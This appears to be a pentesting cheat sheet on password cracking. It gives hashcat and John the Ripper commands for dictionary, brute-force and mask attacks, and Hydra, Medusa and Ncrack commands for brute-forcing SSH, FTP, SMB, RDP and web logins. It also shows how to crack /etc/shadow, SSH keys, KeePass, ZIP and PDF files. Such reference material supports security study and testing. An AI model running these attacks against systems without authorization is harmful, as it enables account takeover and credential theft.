Table of Contents

πŸ”‘ Password Cracking
πŸ’₯ Brute Force / Dictionary
πŸ“‚ Cracking Specific Files and Systems

Password Cracking

Password cracking is the process of recovering passwords from data that has been stored in or transmitted by a computer system.


Tools

Mi foto

Hash Types

Mi foto

MD5: Fast but insecure, widely used for legacy systems.

Example: 5f4dcc3b5aa765d61d8327deb882cf99 β†’ "password"

SHA1: Slightly more secure than MD5, but also vulnerable.

Example: 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 β†’ "password"

NTLM: Used by Windows systems; weak against modern attacks.

Example: 8846f7eaee8fb117ad06bdd830b7586c β†’ "password"

bcrypt: Strong hashing algorithm with built-in salt and slow computation.

Example: $2y$12$EXRkfkdmXn2gzds2SSitu.JG3r8sG3sJ3JDZf4F9nYq5YyNUI4/9e β†’ "password"

Use mattw.io to find the correct hash mode number (Hashcat) or format name (John the Ripper) before starting the attack.

Hash identifier: dCode


Cracking Modes

Dictionary Attack: Tests each word from a wordlist against the hashes. Very fast if the password is a common or weak word.

hashcat -m 0 -a 0 hashes.txt wordlist.txt

Uses MD5 (-m 0) in dictionary mode (-a 0) with wordlist.txt.

john --wordlist=wordlist.txt hashes.txt

Uses the specified wordlist to try matching hashes.


Brute-force Attack: Tries all possible combinations of characters until the correct one is found. Very slow for long passwords.

hashcat -m 0 -a 3 hashes.txt ?a?a?a?a

Brute-forces all printable ASCII characters (?a) for 4-character passwords.

john --incremental=All hashes.txt

Tests all character combinations; β€œAll” means all printable characters.


Mask Attack: Similar to brute-force but uses a known pattern to reduce the search space. Much faster when part of the password format is known.

hashcat -m 0 -a 3 hashes.txt ?u?l?l?l?l?d?d

Pattern: 1 uppercase letter (?u), 4 lowercase letters (?l), and 2 digits (?d).

john --mask='?u?l?l?l?l?d?d' hashes.txt

Same mask pattern, but using John’s syntax.

Brute Force / Dictionary

Brute force attacks involve systematically trying every possible combination of credentials until the correct one is found. Dictionary attacks are similar but use a predefined list of likely passwords (a dictionary) instead of trying every combination.


Tools:


Hydra Examples

SSH:

hydra -l admin -P rockyou.txt ssh://example.com

HTTP POST login form:

hydra -l user -P rockyou.txt example.com http-post-form "/login:username=^USER^&password=^PASS^:Login failed"

FTP:

hydra -l root -P passwords.txt ftp://example.com

SMB:

hydra -L users.txt -P passwords.txt smb://example.com

Medusa Examples

FTP:

medusa -h example.com -u root -P passwords.txt -M ftp

RDP:

medusa -h example.com -u administrator -P passwords.txt -M rdp

Ncrack Examples

SSH:

ncrack -p 22 -u admin -P rockyou.txt example.com

RDP:

ncrack -p 3389 -u administrator -P passwords.txt example.com

Cracking Specific Files and Systems

This section shows how to crack passwords from different types of files and systems using John the Ripper.


Decrypting id_rsa SSH private keys

ssh2john id_rsa > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
john --show hash

Decrypting passwords from /etc/shadow

unshadow passwd.txt shadow.txt > unshadowed.txt
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

or specifying format:

john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt --format=crypt
john --wordlist=/usr/share/wordlists/rockyou.txt shadow.txt

πŸ“ NOTE: Using only /etc/shadow works, but John will not have the full usernames; output may show only hashes.


Decrypting KeePass database passwords

keepass2john dataset.kdbx > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

🚨 IMPORTANT: If you want to create a vulnerable .kdbx for testing, use this version:

wget https://github.com/keepassxreboot/keepassxc/releases/download/2.3.4/keepassxc-2.3.4-x86_64.AppImage

Decrypting ZIP file passwords

zip2john archivo.zip > hash
john hash

Decrypting protected PDF files

pdf2john protected.pdf > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash